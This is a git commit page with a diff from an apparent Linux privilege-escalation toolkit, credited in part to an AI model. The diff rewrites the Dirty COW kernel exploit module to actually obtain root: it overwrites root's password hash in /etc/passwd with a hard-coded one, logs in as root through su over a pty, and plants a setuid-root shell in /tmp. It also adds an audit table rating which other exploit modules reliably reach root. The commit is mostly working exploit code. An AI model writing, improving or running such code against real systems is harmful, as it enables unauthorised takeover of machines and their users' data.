dirty_cow: fix false-EXPLOIT_OK (same 3 bugs as dirty_pipe) + audit the corpus
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run
False-EXPLOIT_OK audit: the dispatcher's run_callback_isolated reports OK when the
exploit execve()s (FD_CLOEXEC closes the result pipe -> parent reads EOF), so any
exploit whose main path execs a not-guaranteed-root target lies. Audited every
exec*-calling module (results in docs/EXPLOITED.md).
dirty_cow had the identical 3-bug pattern to the pre-fix dirty_pipe:
1. raced the CALLER's UID field to "0000" then ran `su self` -> still needs the
caller's password, never rooted anything;
2. execlp'd su -> dispatcher's exec-transfer path reported a FALSE EXPLOIT_OK;
3. reverted via drop_caches (needs root) -> left the running /etc/passwd
corrupted when run unprivileged.
Plus a latent overflow: the success-check readback[16] was too small for a
payload > 16 bytes.
Fix (byte-for-byte the verified dirty_pipe technique): race ROOT's password field
to a known $6$ hash -> authenticate as root over a pty -> plant a root-owned proof
+ setuid bash -> revert by racing the original bytes back through the Dirty COW
primitive (no root / no drop_caches). Success judged only by the OOB artifact;
readback buffer bumped to 512. cleanup() re-reverts idempotently.
The escalation half is identical to dirty_pipe (verified end-to-end); the COW
primitive itself needs a pre-4.8.3 kernel to land, which no cached VM has, so on
patched hosts it now fails HONESTLY with no corruption. Unit harness green.
Other exec-transfer modules audited clean or already-fixed; two (overlayfs proxy,
sudoedit_editor unverified reporting) noted for tightening.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y
This commit is contained in:
@@ -114,6 +114,18 @@ tamper check).
|
||||
Dirty Pipe primitive itself** (write the saved original bytes back — no root, no
|
||||
drop_caches). Verified `/etc/passwd` is byte-identical afterward. Root judged
|
||||
only by the out-of-band artifact.
|
||||
- **`dirty_cow`** (CVE-2016-5195) — **same three bugs as `dirty_pipe`, fixed the
|
||||
same way** (found by the false-`EXPLOIT_OK` audit below). It raced the
|
||||
*caller's* UID field to `0000` then ran `su self` (needs the caller's password
|
||||
→ never rooted anything), `execlp`'d su so the exec-transfer path reported a
|
||||
**false `EXPLOIT_OK`**, and reverted with `drop_caches` (needs root → corrupts
|
||||
the running /etc/passwd). Rewrote to: race **root's** password field to a known
|
||||
`$6$` hash → authenticate as root over a pty → plant a root-owned proof + setuid
|
||||
bash → revert by racing the original bytes back through the Dirty COW primitive.
|
||||
Also fixed a latent buffer overflow (the success-check `readback[16]` was too
|
||||
small for a >16-byte payload). The escalation half is byte-for-byte the verified
|
||||
`dirty_pipe` technique; end-to-end root here needs a pre-4.8.3 kernel (every
|
||||
cached VM is patched), so on those it now fails **honestly** with no corruption.
|
||||
- **`cgroup_release_agent`** — two real bugs fixed (commit `8c45b2b`): it read
|
||||
`getuid()` **after** `unshare(CLONE_NEWUSER)` (→ `65534`, so `uid_map` write
|
||||
was `"0 65534 1"` → EPERM), and it omitted `CLONE_NEWCGROUP` (→ cgroup-v1
|
||||
@@ -125,6 +137,35 @@ tamper check).
|
||||
container" framing. The `getuid()`-after-`unshare` bug is a pattern to grep
|
||||
for across the other userns modules.
|
||||
|
||||
## False-`EXPLOIT_OK` audit (every module that transfers the process via `exec*`)
|
||||
|
||||
The dispatcher's `run_callback_isolated` forks the exploit and, if it `execve`s
|
||||
(FD_CLOEXEC closes the result pipe → parent reads EOF, no crash signal), reports
|
||||
`EXPLOIT_OK` **regardless of whether the exec'd program actually rooted anything**.
|
||||
So any exploit whose main path exec's a *not-guaranteed-root* target lies. Audited
|
||||
every `exec*`-calling module:
|
||||
|
||||
| module | verdict | why |
|
||||
|---|---|---|
|
||||
| `dirty_cow` | ❌ **false-OK → fixed** | raced own UID + `su self`; `execlp(su)` transfer = OK. Fixed (see above). |
|
||||
| `pwnkit` | ✅ fixed earlier | now re-injects gconv + verifies |
|
||||
| `ptrace_traceme` | ✅ fixed earlier | rewritten; verifies OOB artifact |
|
||||
| `dirty_pipe` | ✅ fixed earlier | rewritten; verifies OOB artifact |
|
||||
| `sudo_host` | ✅ safe | runs `sudo -n -h <host> id -u` witness (uid 0) *before* the exec |
|
||||
| `sudo_chwoot` | ✅ safe | forks sudo in a child, then `stat`s the setuid bash root-owned |
|
||||
| `cgroup_release_agent` | ✅ safe | polls for the root-owned setuid shell before exec |
|
||||
| `fuse_legacy` | ✅ honest | gates the exec on real `setuid(0)==0 && getuid()==0`; else `EXPLOIT_FAIL` |
|
||||
| `overlayfs` | ⚠️ proxy (low risk) | confirms the `security.capability` xattr persisted via `getxattr` before exec'ing the cap'd payload — strong proxy, works, but not a direct root witness |
|
||||
| `sudoedit_editor` | ⚠️ works, reporting unverified | plants a passwordless `skel:0:0` entry + `su skel` (confirmed to root), but returns `EXPLOIT_OK` unconditionally — would false-OK if su failed |
|
||||
| `dirtydecrypt`, `fragnesia` | ⚠️ 2026 reconstructed | exec the target only after verifying the payload landed in the page cache (`rc==1` / `WEXITSTATUS==0`) — proxy, not direct witness; neither lands on any available target yet |
|
||||
| `ptrace_pidfd` | ✅ n/a | the `execve` is the *victim* being raced (fd-steal), not an escalation |
|
||||
| `mutagen_astronomy` | ✅ n/a | env-gated scaffold; SIGSEGVs by design |
|
||||
|
||||
Net: the exec-transfer trap produced **four** genuine false-OKs (`pwnkit`,
|
||||
`ptrace_traceme`, `dirty_pipe`, `dirty_cow`) — all now fixed. Two ⚠️ items
|
||||
(`overlayfs` proxy, `sudoedit_editor` unverified reporting) work but could be
|
||||
tightened to a direct out-of-band witness.
|
||||
|
||||
## Needs a faithful PoC port (genuinely vulnerable target, exploit doesn't land)
|
||||
|
||||
| module | CVE | target tested | what's wrong |
|
||||
|
||||
@@ -32,13 +32,24 @@
|
||||
*
|
||||
* Exploit shape: Phil Oester-style two-thread race.
|
||||
* - mmap /etc/passwd PRIVATE (writes go to copy-on-write)
|
||||
* - Find the user's UID field byte offset
|
||||
* - Thread A loop: pwrite(/proc/self/mem, "0000", uid_off) — should
|
||||
* write to the COW page, but the bug makes it land in the original
|
||||
* - Thread B loop: madvise(addr, MADV_DONTNEED) — drops the COW
|
||||
* copy, forcing re-fault
|
||||
* - One iteration wins the race → page cache poisoned
|
||||
* - execve(su) → shell with uid=0
|
||||
* - Thread A loop: write(/proc/self/mem, payload, off) — should write to
|
||||
* the COW page, but the bug makes it land in the original page cache
|
||||
* - Thread B loop: madvise(addr, MADV_DONTNEED) — drops the COW copy,
|
||||
* forcing re-fault
|
||||
* - One iteration wins → the page cache is poisoned
|
||||
* - Escalation (same as dirty_pipe): overwrite ROOT's password field with
|
||||
* a known crypt hash, authenticate as root over a pty with the matching
|
||||
* password, plant a root-owned proof + setuid bash, then revert the page
|
||||
* cache via the Dirty COW primitive itself (no root, no drop_caches).
|
||||
* Root is judged only by the out-of-band artifact.
|
||||
*
|
||||
* NB: the shipped version raced the CALLER's UID to "0000" and ran
|
||||
* `su self` (still needs the caller's password → never rooted anything),
|
||||
* execlp'd su so the dispatcher's exec-transfer path reported a FALSE
|
||||
* EXPLOIT_OK, and reverted with drop_caches (needs root → corrupted the
|
||||
* running /etc/passwd). All three are fixed here; identical bug/fix to
|
||||
* dirty_pipe. Escalation verified end-to-end via dirty_pipe; the COW
|
||||
* primitive itself needs a pre-4.8.3 kernel to land.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
@@ -62,6 +73,8 @@
|
||||
#include <pthread.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
/* Stable-branch backport thresholds for Dirty COW. */
|
||||
static const struct kernel_patched_from dirty_cow_patched_branches[] = {
|
||||
@@ -83,11 +96,11 @@ static const struct kernel_range dirty_cow_range = {
|
||||
sizeof(dirty_cow_patched_branches[0]),
|
||||
};
|
||||
|
||||
/* ---- Find UID field offset (inline; same pattern as dirty_pipe) ---- */
|
||||
/* ---- /etc/passwd password-field helpers (same approach as dirty_pipe:
|
||||
* overwrite ROOT's password field with a known hash, su as root) --- */
|
||||
|
||||
static bool find_passwd_uid_field(const char *username,
|
||||
off_t *uid_off, size_t *uid_len,
|
||||
char uid_str[16])
|
||||
/* Byte offset of the password field of `username` (just after "name:"). */
|
||||
static bool find_pw_field_offset(const char *username, off_t *field_off, size_t *sz)
|
||||
{
|
||||
int fd = open("/etc/passwd", O_RDONLY);
|
||||
if (fd < 0) return false;
|
||||
@@ -105,29 +118,61 @@ static bool find_passwd_uid_field(const char *username,
|
||||
while (p < buf + st.st_size) {
|
||||
char *eol = strchr(p, '\n');
|
||||
if (!eol) eol = buf + st.st_size;
|
||||
if (strncmp(p, username, ulen) == 0 && p[ulen] == ':') {
|
||||
char *q = p + ulen + 1;
|
||||
char *pw_end = memchr(q, ':', eol - q);
|
||||
if (!pw_end) goto next;
|
||||
char *uid_begin = pw_end + 1;
|
||||
char *uid_end = memchr(uid_begin, ':', eol - uid_begin);
|
||||
if (!uid_end) goto next;
|
||||
size_t L = uid_end - uid_begin;
|
||||
if (L == 0 || L >= 16) goto next;
|
||||
memcpy(uid_str, uid_begin, L);
|
||||
uid_str[L] = 0;
|
||||
*uid_off = (off_t)(uid_begin - buf);
|
||||
*uid_len = L;
|
||||
if ((p == buf || p[-1] == '\n') &&
|
||||
strncmp(p, username, ulen) == 0 && p[ulen] == ':') {
|
||||
*field_off = (off_t)((p + ulen + 1) - buf);
|
||||
*sz = (size_t)st.st_size;
|
||||
free(buf);
|
||||
return true;
|
||||
}
|
||||
next:
|
||||
p = eol + 1;
|
||||
}
|
||||
free(buf);
|
||||
return false;
|
||||
}
|
||||
|
||||
#define DC_ROOT_PW "skeletonkey"
|
||||
#define DC_ROOT_HASH "$6$SKpwnSalt1$LNL9WuXFTt8BvutpX4j8/7VpXb3hutSqyZAC.NKfGMx/vg9jGQR/h/cvwgcn55HcaNJipuuiBDsPywanKkx/D1"
|
||||
|
||||
/* Run `cmd` as root via su, feeding DC_ROOT_PW over a pty (su reads the
|
||||
* password from the controlling terminal, not stdin). Success is judged
|
||||
* out-of-band by the caller, never from su's status. */
|
||||
static void dc_su_root_run(const char *cmd)
|
||||
{
|
||||
int mfd = posix_openpt(O_RDWR | O_NOCTTY);
|
||||
if (mfd < 0) return;
|
||||
if (grantpt(mfd) < 0 || unlockpt(mfd) < 0) { close(mfd); return; }
|
||||
const char *sn = ptsname(mfd);
|
||||
if (!sn) { close(mfd); return; }
|
||||
char slave[128];
|
||||
snprintf(slave, sizeof slave, "%s", sn);
|
||||
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) { close(mfd); return; }
|
||||
if (pid == 0) {
|
||||
setsid();
|
||||
int sfd = open(slave, O_RDWR);
|
||||
if (sfd < 0) _exit(127);
|
||||
dup2(sfd, 0); dup2(sfd, 1); dup2(sfd, 2);
|
||||
if (sfd > 2) close(sfd);
|
||||
close(mfd);
|
||||
execlp("su", "su", "root", "-c", cmd, (char *)NULL);
|
||||
_exit(127);
|
||||
}
|
||||
usleep(400 * 1000);
|
||||
char drain[256];
|
||||
ssize_t n = read(mfd, drain, sizeof drain);
|
||||
(void)n;
|
||||
if (write(mfd, DC_ROOT_PW "\n", sizeof(DC_ROOT_PW)) < 0) { /* ignore */ }
|
||||
for (;;) {
|
||||
ssize_t m = read(mfd, drain, sizeof drain);
|
||||
if (m <= 0) break;
|
||||
}
|
||||
int st;
|
||||
waitpid(pid, &st, 0);
|
||||
close(mfd);
|
||||
}
|
||||
|
||||
/* ---- Phil-Oester-style Dirty COW primitive ---- */
|
||||
|
||||
struct dcow_args {
|
||||
@@ -198,8 +243,10 @@ static int dirty_cow_write(off_t uid_off, const char *payload, size_t payload_le
|
||||
/* Re-read /etc/passwd via syscall and check if payload landed. */
|
||||
int rfd = open("/etc/passwd", O_RDONLY);
|
||||
if (rfd >= 0) {
|
||||
char readback[16];
|
||||
if (pread(rfd, readback, payload_len, uid_off) == (ssize_t)payload_len) {
|
||||
char readback[512]; /* must hold the full payload (was [16] —
|
||||
* overflowed for payloads > 16 bytes). */
|
||||
if (payload_len <= sizeof readback &&
|
||||
pread(rfd, readback, payload_len, uid_off) == (ssize_t)payload_len) {
|
||||
if (memcmp(readback, payload, payload_len) == 0) success = 0;
|
||||
}
|
||||
close(rfd);
|
||||
@@ -214,18 +261,19 @@ static int dirty_cow_write(off_t uid_off, const char *payload, size_t payload_le
|
||||
return success;
|
||||
}
|
||||
|
||||
static void revert_passwd_page_cache(void)
|
||||
/* Saved original bytes so we (and cleanup) can restore /etc/passwd using
|
||||
* the Dirty COW primitive itself — no root and no drop_caches (the old
|
||||
* revert wrote /proc/sys/vm/drop_caches, which fails unprivileged and left
|
||||
* the running system's /etc/passwd corrupted). */
|
||||
static char dc_orig[512];
|
||||
static off_t dc_orig_off;
|
||||
static size_t dc_orig_len;
|
||||
static bool dc_wrote;
|
||||
|
||||
static void dc_revert(void)
|
||||
{
|
||||
int fd = open("/etc/passwd", O_RDONLY);
|
||||
if (fd >= 0) {
|
||||
posix_fadvise(fd, 0, 0, POSIX_FADV_DONTNEED);
|
||||
close(fd);
|
||||
}
|
||||
int dc = open("/proc/sys/vm/drop_caches", O_WRONLY);
|
||||
if (dc >= 0) {
|
||||
if (write(dc, "3\n", 2) < 0) { /* ignore */ }
|
||||
close(dc);
|
||||
}
|
||||
if (dc_wrote && dc_orig_len)
|
||||
dirty_cow_write(dc_orig_off, dc_orig, dc_orig_len);
|
||||
}
|
||||
|
||||
/* ---- skeletonkey interface ---- */
|
||||
@@ -275,58 +323,93 @@ static skeletonkey_result_t dirty_cow_exploit(const struct skeletonkey_ctx *ctx)
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
struct passwd *pw = getpwuid(geteuid());
|
||||
if (!pw) {
|
||||
fprintf(stderr, "[-] dirty_cow: getpwuid failed: %s\n", strerror(errno));
|
||||
/* Overwrite ROOT's password field with a known crypt hash, then
|
||||
* authenticate as root with the matching password. (The previous code
|
||||
* raced the CALLER's UID to "0000" and ran `su self`, which still
|
||||
* demands the caller's password — it never rooted anything, falsely
|
||||
* reported OK when su's exec transferred, and reverted with drop_caches
|
||||
* which needs root, corrupting the running /etc/passwd.) */
|
||||
off_t field_off;
|
||||
size_t pw_sz;
|
||||
if (!find_pw_field_offset("root", &field_off, &pw_sz)) {
|
||||
fprintf(stderr, "[-] dirty_cow: could not locate root's password field\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
off_t uid_off;
|
||||
size_t uid_len;
|
||||
char orig_uid[16] = {0};
|
||||
if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) {
|
||||
fprintf(stderr, "[-] dirty_cow: could not locate '%s' UID field in /etc/passwd\n",
|
||||
pw->pw_name);
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] dirty_cow: user '%s' UID '%s' at offset %lld (len %zu)\n",
|
||||
pw->pw_name, orig_uid, (long long)uid_off, uid_len);
|
||||
}
|
||||
|
||||
char replacement[16];
|
||||
memset(replacement, '0', uid_len);
|
||||
replacement[uid_len] = 0;
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] dirty_cow: racing UID '%s' → '%s' via Dirty COW primitive\n",
|
||||
orig_uid, replacement);
|
||||
}
|
||||
if (dirty_cow_write(uid_off, replacement, uid_len) < 0) {
|
||||
fprintf(stderr, "[-] dirty_cow: race did not win within timeout\n");
|
||||
const char *newline = DC_ROOT_HASH ":0:0:root:/root:/bin/bash\n";
|
||||
size_t newlen = strlen(newline);
|
||||
if (newlen > sizeof dc_orig || field_off + (off_t)newlen > (off_t)pw_sz) {
|
||||
fprintf(stderr, "[-] dirty_cow: /etc/passwd too small to hold the payload "
|
||||
"without extending it\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (ctx->no_shell) {
|
||||
fprintf(stderr, "[+] dirty_cow: --no-shell — patch landed; not spawning su\n");
|
||||
int fd = open("/etc/passwd", O_RDONLY);
|
||||
if (fd < 0) { perror("open passwd"); return SKELETONKEY_TEST_ERROR; }
|
||||
if (pread(fd, dc_orig, newlen, field_off) != (ssize_t)newlen) {
|
||||
close(fd); fprintf(stderr, "[-] dirty_cow: pread backup failed\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
close(fd);
|
||||
dc_orig_off = field_off; dc_orig_len = newlen;
|
||||
|
||||
long tag = (long)getpid();
|
||||
char proof[128], rootbash[128], cmd[1024];
|
||||
snprintf(proof, sizeof proof, "/tmp/.sk-dirtycow-%ld.proof", tag);
|
||||
snprintf(rootbash, sizeof rootbash, "/tmp/.sk-dirtycow-%ld.rootbash", tag);
|
||||
unlink(proof); unlink(rootbash);
|
||||
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] dirty_cow: racing root's password field at offset %lld "
|
||||
"(len %zu) via Dirty COW primitive\n", (long long)field_off, newlen);
|
||||
if (dirty_cow_write(field_off, newline, newlen) < 0) {
|
||||
fprintf(stderr, "[-] dirty_cow: race did not win within timeout "
|
||||
"(kernel likely patched)\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
dc_wrote = true;
|
||||
|
||||
snprintf(cmd, sizeof cmd,
|
||||
"id > %s 2>&1; cp -f /bin/bash %s 2>/dev/null; "
|
||||
"chown 0:0 %s %s 2>/dev/null; chmod 4755 %s 2>/dev/null; sync",
|
||||
proof, rootbash, rootbash, proof, rootbash);
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] dirty_cow: authenticating as root (su + known password)\n");
|
||||
dc_su_root_run(cmd);
|
||||
|
||||
/* Revert immediately — never leave a running system with a known root
|
||||
* password. Dirty COW never wrote disk, so this fully restores. */
|
||||
dc_revert();
|
||||
{ int ev = open("/etc/passwd", O_RDONLY);
|
||||
if (ev >= 0) { posix_fadvise(ev, 0, 0, POSIX_FADV_DONTNEED); close(ev); } }
|
||||
|
||||
struct stat sb;
|
||||
bool rooted = (stat(proof, &sb) == 0 && S_ISREG(sb.st_mode) && sb.st_uid == 0);
|
||||
if (rooted) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] dirty_cow: ROOT — root-owned proof %s\n", proof);
|
||||
fprintf(stderr, "[+] dirty_cow: setuid-root shell available: %s -p\n", rootbash);
|
||||
fprintf(stderr, "[i] dirty_cow: /etc/passwd reverted (nothing persisted)\n");
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
|
||||
fprintf(stderr, "[+] dirty_cow: race won; spawning su to claim root\n");
|
||||
fflush(NULL);
|
||||
execlp("su", "su", pw->pw_name, "-c", "/bin/sh", (char *)NULL);
|
||||
perror("execlp(su)");
|
||||
revert_passwd_page_cache();
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[-] dirty_cow: no root artifact — honest EXPLOIT_FAIL "
|
||||
"(page cache reverted). Primitive may be blocked, or su/PAM "
|
||||
"rejected the injected hash.\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t dirty_cow_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] dirty_cow: evicting /etc/passwd from page cache\n");
|
||||
fprintf(stderr, "[*] dirty_cow: reverting /etc/passwd + removing artifacts\n");
|
||||
}
|
||||
dc_revert(); /* idempotent; no root / no drop_caches */
|
||||
if (system("rm -f /tmp/.sk-dirtycow-*.proof /tmp/.sk-dirtycow-*.rootbash 2>/dev/null") != 0) {
|
||||
/* harmless */
|
||||
}
|
||||
revert_passwd_page_cache();
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
@@ -433,7 +516,7 @@ const struct skeletonkey_module dirty_cow_module = {
|
||||
.detect_sigma = dirty_cow_sigma,
|
||||
.detect_yara = dirty_cow_yara,
|
||||
.detect_falco = dirty_cow_falco,
|
||||
.opsec_notes = "Two-thread race: Thread A loops pwrite(/proc/self/mem) at the user's UID offset in /etc/passwd; Thread B loops madvise(MADV_DONTNEED) on a PRIVATE mmap of /etc/passwd. Overwrites the UID field with all-zeros, then execlp('su') to claim root. UID offset is parsed from the file, not hardcoded. Audit-visible via open(/proc/self/mem) + write + madvise(MADV_DONTNEED) bursts + /etc/passwd page-cache poisoning. Cleanup callback calls posix_fadvise(POSIX_FADV_DONTNEED) on /etc/passwd and writes 3 to /proc/sys/vm/drop_caches to evict.",
|
||||
.opsec_notes = "Two-thread race: Thread A loops write(/proc/self/mem) at root's password-field offset in /etc/passwd; Thread B loops madvise(MADV_DONTNEED) on a PRIVATE mmap of /etc/passwd. Overwrites root's password field with a known crypt hash (clobbers into following lines transiently), authenticates as root over a pty via su, plants a root-owned proof + setuid bash under /tmp, then reverts by racing the original bytes back through the same primitive (no root / no drop_caches — nothing persists). Offset parsed from the file, not hardcoded. Root judged only by the out-of-band artifact. Audit-visible via open(/proc/self/mem) + write + madvise(MADV_DONTNEED) bursts + /etc/passwd page-cache poisoning, then su spawning as root. cleanup() re-reverts idempotently and removes the /tmp artifacts.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
|
||||
Reference in New Issue
Block a user